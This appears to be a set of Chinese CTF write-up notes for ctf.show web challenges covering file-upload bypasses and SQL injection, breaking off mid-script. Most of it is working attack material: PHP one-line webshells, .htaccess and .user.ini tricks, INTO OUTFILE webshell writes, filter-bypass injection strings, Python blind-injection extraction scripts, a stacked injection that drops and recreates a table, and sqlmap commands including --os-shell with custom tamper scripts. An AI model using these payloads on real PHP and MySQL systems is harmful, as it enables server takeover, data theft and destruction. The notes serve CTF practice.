0.png中的代码会被包含到当前目录下的php文件执行,一般是index.php,访问index.php,然后调用0.png中写的一句话木马就可以

0.png中写入
<?php eval($_GET['a']);?>

然后?a=system('ls ../');

web154

<?= ?>替代<?php ?>

web156

{}替代[]

web157

过滤了;,但是最后一个;可以省略
也可以用下面这个构造一句话木马,相当于assert();

<?=
array_map("assert",$_REQUEST)
?>

$_REQUEST 是一个包含$_GET$_POST$_COOKIE 的超全局数组。通过 $_REQUEST,用户可以传入任意数据。

web158

过滤了log,主要是为了日志包含,可以用.拼接log绕过,1.png内容如下

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

然后在传1.png的时候在ua里写入一句话木马。

web159

可以用``来包裹进行命令执行

<?=`tac ../f*`?>

web160

过滤了空格

<?=include'/var/log/nginx/access.log'?>

web161

加入了文件头检查,必须是GIF89a

web162

session文件包含和条件竞争

先传入

.user.ini中写入
auto_prepend_file=/tmp/sess_Lxxx或者
auto_append_file=/tmp/sess_Lxxx

然后在session里构造命令,这里得直接执行system();,如果通过先建立一个shell.php再构造一句话木马的方式,shell.php可能还没建起来,/tmp/sess_Lxxx就被删了

web164

上传图片马,脚本如下

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'3.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

web165

如果抓包响应包里有>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80,说明存在jpg二次渲染

可以先将图片上传至网页,然后再下载,成功率较高

web166

上传zip,下载后抓包发现文件类型为text/html,说明可能存在文件包含命令,将一句话木马写入zip尾部,在下载页面执行一句话木马,可以用change request method改变传参方式

web167

httpd:httpd 是 Apache HTTP Server 的进程名称,通常指代 Apache Web 服务器。这个服务器的配置文件是.htaccess,当满足文中的配置时,就可以自主修改.htaccess文件

application/octet-streamapplication/x-httpd-php 都是 MIME 类型,但它们有不同的用途和处理方式:

1. application/octet-stream

  • 定义:这是一个通用的 MIME 类型,用来表示二进制数据
  • 用途:通常用于文件下载,因为它告诉浏览器或接收端“这是二进制数据,不要直接显示”。这使得接收端不会试图将内容作为文本或其他可读数据展示,而是提示用户下载。
  • 特点
    • 不指定文件的具体格式,因此常用于任何二进制文件。
    • 常见于文件下载应用,文件会自动触发下载,而不是展示在浏览器中。

2. application/x-httpd-php

  • 定义:这是 PHP 脚本的 MIME 类型,用于告诉服务器将文件作为 PHP 脚本处理
  • 用途:应用于 PHP 文件的执行。当服务器遇到这个 MIME 类型时,它会将文件交给 PHP 解释器解析和执行,而不是将文件内容直接输出给用户。
  • 特点
    • 只适用于 PHP 环境。只有在指定 PHP 脚本文件(例如 .php 或其他扩展名文件,通过服务器配置关联)时才使用。
    • 浏览器最终会看到执行 PHP 脚本后的输出结果,而不是源代码。

主要区别

属性application/octet-streamapplication/x-httpd-php
类型通用二进制文件PHP 脚本
用途文件下载PHP 代码的执行
典型用途触发文件下载而非展示执行并展示 PHP 脚本生成的内容
浏览器处理方式通常会提示用户下载文件服务器解析并执行后输出 HTML
文件示例可用于任何文件类型仅适用于 PHP 脚本

实际应用场景

  • application/octet-stream:适用于触发下载的情况,比如 PDF、ZIP 文件等。
  • application/x-httpd-php:适用于 PHP 文件的解析和展示,比如 .php 文件或 .html 文件上配置 PHP 执行环境。

可以向网页中传入.htaccess文件,对服务器进行配置

AddType application/x-httpd-php .jpg   //将.png后缀的文件解析 成php

然后传一个.jpg,写入木马,访问这个文件就行

web168

过滤了eval,system

可以用``绕过

web169&170

日志ua包含

SQL注入

所有无过滤的题目都可以通过注入一句话木马实现(字符型注入)

id=0' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"%23

有的是查询的三项所以payload是

id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"%23

接着蚁剑连接后访问数据库

web171

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23

字符型注入,用第一个’闭合前面的’,%23用来注释后面的语句,group_concat(table_name),2,3是为了确定最后结果表有几个字段,当字段数不够时就一直加,直到成功返回结果

在MySql>5.0后,有一个information_schema.tables表存储数据库的库名(table_schema),表名(table_name),有information_schema.columns存储数据表名和其中的字段名(column_name)

1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='ctfshow_user'%23
1' union select * from ctfshow_user %23

或者万能密码
1'||1%23

或者模糊查询like '%f%'

web173

0' union select 1,hex(password),3 from ctfshow_user3 %23  十六进制编码绕过
0' union select 1,to_base64(password),3 from ctfshow_user3 %23  base64编码绕过
0' union select reverse(password),2,3 from ctfshow_user3%23   逆向输出
0' union select substr(password,2),2,3 from ctfshow_user3%23   截断输出

web174

用replace函数

# web174
import requests
import urllib
url="http://a2c5d550-d08d-4741-adb9-2a06242c5831.challenge.ctf.show/api/v4.php?id=1' union select 'a',"
arg1=[i for i in range(10)]
#print(arg1)
arg2=[')','!','@','#','$','%','^','&','*','(']
#arg2=['!','@','-','$','_','^','=','*','(',')']
s='password'
for i in range(10):
    s=f"replace({s},'{arg1[i]}','{arg2[i]}')"
url=url+urllib.parse.quote(s+"from ctfshow_user4 where username='flag'#")
print(url)
re=requests.get(url)
print(re.text)
ans=''
for j in re.text:
    if j in arg2:
        ans+=str(arg1[arg2.index(j)])
    else:
        ans+=j

print(ans)

web175

在 SQL 注入中,虽然查询本身可能“失败”或返回“无效结果”,但 INTO OUTFILE 语句的效果往往不会受到查询结果本身的影响。这里是原因的详细解释:

1. INTO OUTFILE 执行的独立性

  • INTO OUTFILE 是一种特殊的 SQL 语法,它的作用是将查询结果直接写入服务器文件系统中,即使查询返回“无结果”或查询不成功,也可能会成功写出文件。
  • 在这个例子中,虽然查询的内容可能无效或者返回空数据,但因为 INTO OUTFILE 的执行机制,它会将恶意的 <?php eval($_POST[1]);?> 写入到指定的文件路径 "/var/www/html/1.php" 中。

2. UNION 的副作用

  • 当使用 UNION 进行注入时,SQL 服务器会尝试将两个查询的结果合并在一起。这里的 UNION SELECT 1, "<?php eval($_POST[1]);?>" 会被解析并执行,1<?php eval($_POST[1]);?> 被当作数据准备输出。
  • 因为 INTO OUTFILE 的存在,SQL 服务器会将 UNION SELECT 的输出内容写入到指定文件,即使主查询部分(例如 0' 部分)失败,UNION 部分的内容依然会被写入。

3. 文件写入权限和安全配置的问题

  • 数据库用户通常不需要写文件权限。但在一些配置不当的环境中,数据库用户具备了文件系统的写权限。只要数据库用户具有写入权限,INTO OUTFILE 就会成功创建文件。
  • 所以,即便 SQL 查询失败,INTO OUTFILE 依然可能成功写入文件。

4. 查询成功与文件写入的分离

  • SQL 执行过程中的“成功”与否和文件写入并不完全相关。如果查询被解析成了一个有效的语句(即使主查询无效),文件写入依然会执行。
  • 换句话说,INTO OUTFILE 只要符合语法,SQL 服务器就会试图写入文件,不会检查主查询的执行结果是否返回了有效数据。

示例说明

在注入语句:

0' UNION SELECT 1, "<?php eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/1.php"%23
  • 0' 可能导致主查询部分失败,但 UNION 后面的内容依然是有效的 SELECT 语句,并带有 INTO OUTFILE
  • 即使查询内容没有返回任何有意义的数据,INTO OUTFILE 依然可以将第二个查询的结果写入文件,因此恶意代码被写入到了 /var/www/html/1.php 中。

总结

  • INTO OUTFILE 在语法解析正确的情况下,通常会直接写入文件,而不依赖于查询成功与否。
  • 即便查询返回“无效”或“失败”,只要语法结构完整且数据库用户有写入权限,文件依然会被写入。

防御建议

  1. 禁用 INTO OUTFILE 权限:在数据库用户权限中,严格限制或禁用 INTO OUTFILE
  2. 输入过滤和查询参数化:确保所有用户输入都经过充分验证和过滤,防止注入。
  3. 最小化数据库用户权限:确保数据库用户权限最小化,不给予不必要的文件写入权限。

然后蚁剑连接一句话木马,查看confjg.php,在最上层主页目录选择数据操作,连接数据库

web176

用字典对注入点进行爆破,就可以知道过滤了什么,具体见字典
过滤了select,可以用大小写绕过

0' union SELECT password,2,3 from ctfshow_user%23

万能密码就能过

1'||username='flag'%23

web177

过滤了空格,可以替换的字符

/**/
`
%0b
%0a
()
等等

但是union select的空格只能用/**/

1'union/**/select/**/password,1,2/**/from/**/ctfshow_user/**/where/**/username='flag'%23
1'union/**/select(password),1,(2)from(ctfshow_user)where/**/username='flag'%23

web178

过滤空格和/**/

1'unIoN%0bseLEct(password),1,(2)frOm(ctfshow_user)whEre`username`like'%fla%'%23   注意like后没有`
1'unIoN%0bseLEct(password),1,(2)frOm(ctfshow_user)whEre`username`like('%fla%')%23

web179

过滤了%0b %09
万能密码

1'||1%23
1'unIoN%0cseLEct(password),1,(2)frOm(ctfshow_user)whEre`username`like('%fla%')%23

web180

正则匹配绕过

0'||(password)regexp'ctfshow

web183

根据记录数目盲注

import requests
import string
url="http://26ea7a9e-1524-4627-ab66-cfb97675d995.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag='ctfshow{'
print(flag)
for i in range(1,45):
  print(i)
  for j in s:
    data={
    'tableName':f'(ctfshow_user)where(pass)regexp("{flag+j}")'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)

      if j=='}':
          exit()
      break

web184

过滤了where可以使用having,过滤了引号可以使用16进制表示字符串,然后前面加上0x即可绕过
也就是说ctfshow可以用0x63746673686f77绕过
具体where和having用法的区别可参考 https://blog.csdn.net/yexudengzhidao/article/details/54924471

import requests
import string
url="http://21b06d50-687b-4d46-9880-0344123d3f31.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
flag=''
pre='ctfshow'
for i in range(1,45):
  print(i)
  for j in s:
    d = asc2hex(f'ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(pre+flag)
      if j=='}':
          exit()
      break

web185

过滤了0-9,可以使用true拼接出数字,在使用char函数转换成字符,最后使用concat进行拼接。
比如想获取字符c,c的ascii为99

'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));

当然也可以复杂一点

c=char(ture+ture+ture......) (99个true)

简单写个转换的脚本(用第二种方式,然后concat拼接)

import requests
import string
url="http://524fa228-5685-4370-9447-abe1440aa19e.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
pre='ctfshow'
for i in range(1,45):
  #print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(pre+flag)
      if j=='}':
        exit(0)
      break

web187

php md5(string,raw)
当raw为TRUE时,以16字节长度的原始二进制格式返回。
https://blog.csdn.net/qq_43427482/article/details/109849590

那么md5(“ffifdyop”, true)加密之后,会得到’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c

有or可以闭合

web188

当碰到$sql = "select pass from ctfshow_user where username = {$username}";时,传入username=0会匹配所有

因为发生弱类型比较,相当于会查出所有0开头的username和字母开头的username
username=0&password=0

web189

username=0和1的回显不一样,可以布尔盲注

import requests
import string
url="http://2a2725bb-32d1-444d-916e-0e8826332ac8.challenge.ctf.show/api/index.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag="ctfshow{"
for i in range(1,100):
    print(i)
    for j in s:
        #print(j)
        data={'username':"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if(r"\u5bc6\u7801\u9519\u8bef" in r.text):
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

这里username用regexp效率更高,也可以用ascii,这会输出整个index.php

import requests
import string
url="http://2a2725bb-32d1-444d-916e-0e8826332ac8.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    #print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)
            print(flag)
            break

web190

flag在其他表里

import requests
import sys
import time

url = "http://5d1ec3ec-aace-4351-a365-1a8a071c3ed2.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid

web191

原理是

admin ’ and 0# 会输出用户名不存在
admin ’ and 1# 会输出密码错误

过滤了ascii,可以用ord绕过,把190中的脚本ASCII替换成ord

web192

直接字符比较,不再转ascii码

import requests
import sys
import time
import string

s=string.digits+string.ascii_lowercase+'{_-}'
#print(s)
url = "http://bb1a14ba-373c-4d6d-bd3f-6c0ad90203e8.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    #print(i)
    for j in s:
        #payload = "admin'and if(substr((select database()),{},1)='{}',1,0)#".format(i,j)
        #ctfshow_web
        #payload = "admin'and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#".format(i,j)
        #ctfshow_fl0g,ctfshow_user
        #payload = "admin'and if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}',1,0)#".format(i,j)
        #id,f1ag
        payload = "admin'and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#".format(i,j)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)

        #time.sleep(0.3)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web193

过滤substr,用mid,substring替代

import requests
import sys
import time
import string

s=string.digits+string.ascii_lowercase+'{,_-}'
#print(s)
url = "http://15524d8f-59da-46d6-b344-9c1c99c9f938.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    #print(i)
    for j in s:
        #payload = "admin'and if(mid((select database()),{},1)='{}',1,0)#".format(i,j)
        #ctfshow_web
        #payload = "admin'and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#".format(i,j)
        #ctfshow_flxg,ctfshow_user
        #payload = "admin'and if(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1)='{}',1,0)#".format(i,j)
        #id,f1ag
        payload = "admin'and if(mid((select f1ag from ctfshow_flxg),{},1)='{}',1,0)#".format(i,j)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)

        #time.sleep(0.3)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web195

堆叠注入
update语法

UPDATE table_name SET column_name=value,col_name2=value [where condition]

payload

1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;
然后用用户名1密码1登录

web196

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

row[0]返回查询结果的第一行,让查询结果无返回,然后堆叠注入select(1);,这样程序就返回1,然后再传入password=1即可

1;select(1)

web197

根据查询语句可知表明为ctfshow_user,show tables就会返回ctfshow_user,然后让password=ctfshow_user

也可以把当前表删除,重新创建表,然后自己输入用户名和密码

1;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

web198

直接插入进行覆盖

1;insert ctfshow_user(`username`,`pass`) value(1,1)

web199

过滤了(,想覆盖就难了

直接show tables

username=1;show tables
password=ctfshow_user

web200

还是查表

web201

sqlmap的使用
https://github.com/sqlmapproject/sqlmap/wiki/Usage

使用–user-agent 指定agent; --random-agent 来随机 ua 头

使用–referer 绕过referer检查 referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址

检测注入类型

python sqlmap.py -u http://912a5651-899d-4fc9-b7af-9ea268455f0d.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show

爆数据库

python sqlmap.py -u http://912a5651-899d-4fc9-b7af-9ea268455f0d.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show --dbs

爆表

python sqlmap.py -u http://912a5651-899d-4fc9-b7af-9ea268455f0d.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web --tables 

爆列

python sqlmap.py -u http://912a5651-899d-4fc9-b7af-9ea268455f0d.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --columns

爆值 -C 指定列 --dump是转存数据

python sqlmap.py -u http://912a5651-899d-4fc9-b7af-9ea268455f0d.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --dump 

web202

使用 --data 指定参数进行 post 请求的注入

python sqlmap.py -u http://ae2c2b47-a0cc-41a6-8618-f1e5c13c96b7.challenge.ctf.show/api/ --data id= --user-agent sqlmap --referer ctf.show
python sqlmap.py -u http://ae2c2b47-a0cc-41a6-8618-f1e5c13c96b7.challenge.ctf.show/api/ --data id= --user-agent sqlmap --referer ctf.show --dbs
python sqlmap.py -u http://ae2c2b47-a0cc-41a6-8618-f1e5c13c96b7.challenge.ctf.show/api/ --data id=  --user-agent sqlmap --referer ctf.show -D ctfshow_web --tables 
python sqlmap.py -u http://ae2c2b47-a0cc-41a6-8618-f1e5c13c96b7.challenge.ctf.show/api/ --data id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --columns
python sqlmap.py -u http://ae2c2b47-a0cc-41a6-8618-f1e5c13c96b7.challenge.ctf.show/api/ --data id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user -C id,pass --dump 

web203

使用–method 调整sqlmap的请求方式

–batch 是帮助我们在执行过程中自动选择

需要加上–headers=“Content-Type: text/plain”,否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,前两个没加可以,但这里不行,有点问题

python sqlmap.py -u http://7a56cd56-646e-4ef7-9fbc-034576cb4f7f.challenge.ctf.show/api/index.php   --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://7a56cd56-646e-4ef7-9fbc-034576cb4f7f.challenge.ctf.show/sqlmap.php" --headers="Content-Type: text/plain"

web204

使用–cookie 提交cookie数据

注意这里提交set-cookie,这个字段就是告诉浏览器要存哪个cookie,浏览器下次发应该发哪个

python sqlmap.py -u http://79283bd4-5004-41f6-a9d1-800759a069e0.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=am86f58oq9fra97h17amn19jdf;ctfshow=7d827ef59af5aaa27f1f34986853441a" -D ctfshow_web -T ctfshow_user --dump --batch

web205

api调用需要鉴权

–safe-url 设置在测试目标地址前访问的安全链接,从这个链接访问目标地址是合法的

–safe-freq 设置二次注入测试前,即访问目标地址前,访问安全链接的次数

这边直接爆数据库就出flag

python sqlmap.py -u http://1d2cf3f0-0532-46a4-a5e6-824a5cde53ae.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://1d2cf3f0-0532-46a4-a5e6-824a5cde53ae.challenge.ctf.show/api/getToken.php" --safe-freq=1

web206

sqlmap会自动闭合,直接注入

python sqlmap.py -u http://ceac42d0-7769-4c52-9a4f-c04e91570aaf.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://ceac42d0-7769-4c52-9a4f-c04e91570aaf.challenge.ctf.show/api/getToken.php" --safe-freq=1

web207&208

–tamper参数可以引入用户自定义的脚本来修改注入时的payload

tamper脚本编写参考 https://y4er.com/posts/sqlmap-tamper/
自己写的tamper记得放到sqlmap的tamper目录下

增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/

208中过滤小写,但是sqlmap都是大写

python sqlmap.py -u http://2990b7d3-b6c4-4f75-b102-08ec2d5a1a60.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://2990b7d3-b6c4-4f75-b102-08ec2d5a1a60.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py

web209

过滤了空格和*可以用%09 space2%09.py

过滤了等号可以用like equaltolike.py

python sqlmap.py -u http://db4d7643-50dc-45d5-9e6b-24428640e56f.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://db4d7643-50dc-45d5-9e6b-24428640e56f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2%09.py,equaltolike.py

web210

编码脚本

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()
    return retVal


在 Python 中,base64.b64encode() 需要输入字节格式,而不是字符串格式

encode() 将字符串转为 字节格式
encode() 的默认编码是 UTF-8,也可以指定其他编码,比如 .encode(‘utf-8’)
decode() 将最终的 Base64 字节内容转为 字符串格式

python sqlmap.py -u http://af91e4d5-4523-4e7a-9c70-1274a1835d65.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://af91e4d5-4523-4e7a-9c70-1274a1835d65.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper ctfshow.py

web211

加了空格过滤

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(' ', '/**/')
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
    return retVal

python sqlmap.py -u http://dd045658-9fd1-4ec7-981f-d03d344cbf3e.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://dd045658-9fd1-4ec7-981f-d03d344cbf3e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper ctfshow.py

web212

换成%09

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(' ',chr(9))
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
    return retVal

python sqlmap.py -u http://174a300a-0eb5-40bf-bf83-93f2515ac47a.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://174a300a-0eb5-40bf-bf83-93f2515ac47a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper ctfshow.py

web213

利用–os-shell命令执行

python sqlmap.py -u http://b2ac7d7e-f2f5-4a9b-bed1-b49906fb3372.challenge.ctf.show/api/index.php  --method=PUT --data id=1 --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --dbs --dump --batch --safe-url="https://b2ac7d7e-f2f5-4a9b-bed1-b49906fb3372.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper ctfshow.py --os-shell

-–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限

在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出

web214

时间盲注

import requests

url = "http://02a366b3-a219-4002-a2a5-05af7276b1e3.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
    if chr(head)=='}':
        break

web215

加单引号闭合

web216

)闭合

web217

过滤了sleep,时间盲注替代 https://www.jb51.net/article/212587.htm

用benchmark(count,expr),重复执行 count 次 expr 表达式,使得处理时间很长

import requests
import time
url = "http://e1a40f36-682a-4a24-9c0b-14fa9f240ab8.challenge.ctf.show/api/"

s=string.digits+string.ascii_lowercase+'{,_-}'
flag='ctfsh'

for i in range(1,50):
    print(i)
    for j in s:
        # 查数据库
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flagaac
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        #payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'') or if(ascii(substr(({payload}),{i},1))={ord(j)},benchmark(5000000,md5('yu22x')),1)#",
            'debug': '0'
        }
        time.sleep(0.4)
        try:
            r = requests.post(url, data, timeout=2)
        except:
            flag+=j
            print(flag)
            break

环境很容易g,脚本没问题

web218

用正则匹配

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

rlike 是 SQL 中用于执行正则表达式匹配的函数。

rpad(str,len,padstr) 用字符串 padstr 对 str 进行右边填补直到长度达到 len,返回 str 。

repeat(str,times) 就是复制 str 字符串 times 次。

rlike 也可以用 regexp 代替

import requests
import time
url = "http://047c149c-a52a-4625-b6a9-23bd0b32b689.challenge.ctf.show/api/"

s=string.digits+string.ascii_lowercase+'{,_-}'
flag=''

for i in range(1,50):
    print(i)
    for j in s:
        # 查数据库
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flagaac
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxc"
        data = {
            'ip': f"'') or if(ascii(substr(({payload}),{i},1))={ord(j)},(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'),1)#",
            'debug': '0'
        }
        time.sleep(0.4)
        try:
            r = requests.post(url, data, timeout=0.3)
        except:
            flag+=j
            print(flag)
            break

正则用时比较短,timeout可以设小一点

web219

笛卡尔积

表连接是很费时的操作

select count(*) from information_schema.columns A, information_schema.columns B;#表可以是同一张表
import requests
import time
url = "http://d3331764-07af-4e57-868f-af0ed97d245b.challenge.ctf.show/api/"

s=string.digits+string.ascii_lowercase+'{,_-}'
flag=''

for i in range(1,50):
    print(i)
    for j in s:
        # 查数据库
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flagaac
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'"
        # 查数据
        #payload = "select flagaabc from ctfshow_flagxccb"
        data = {
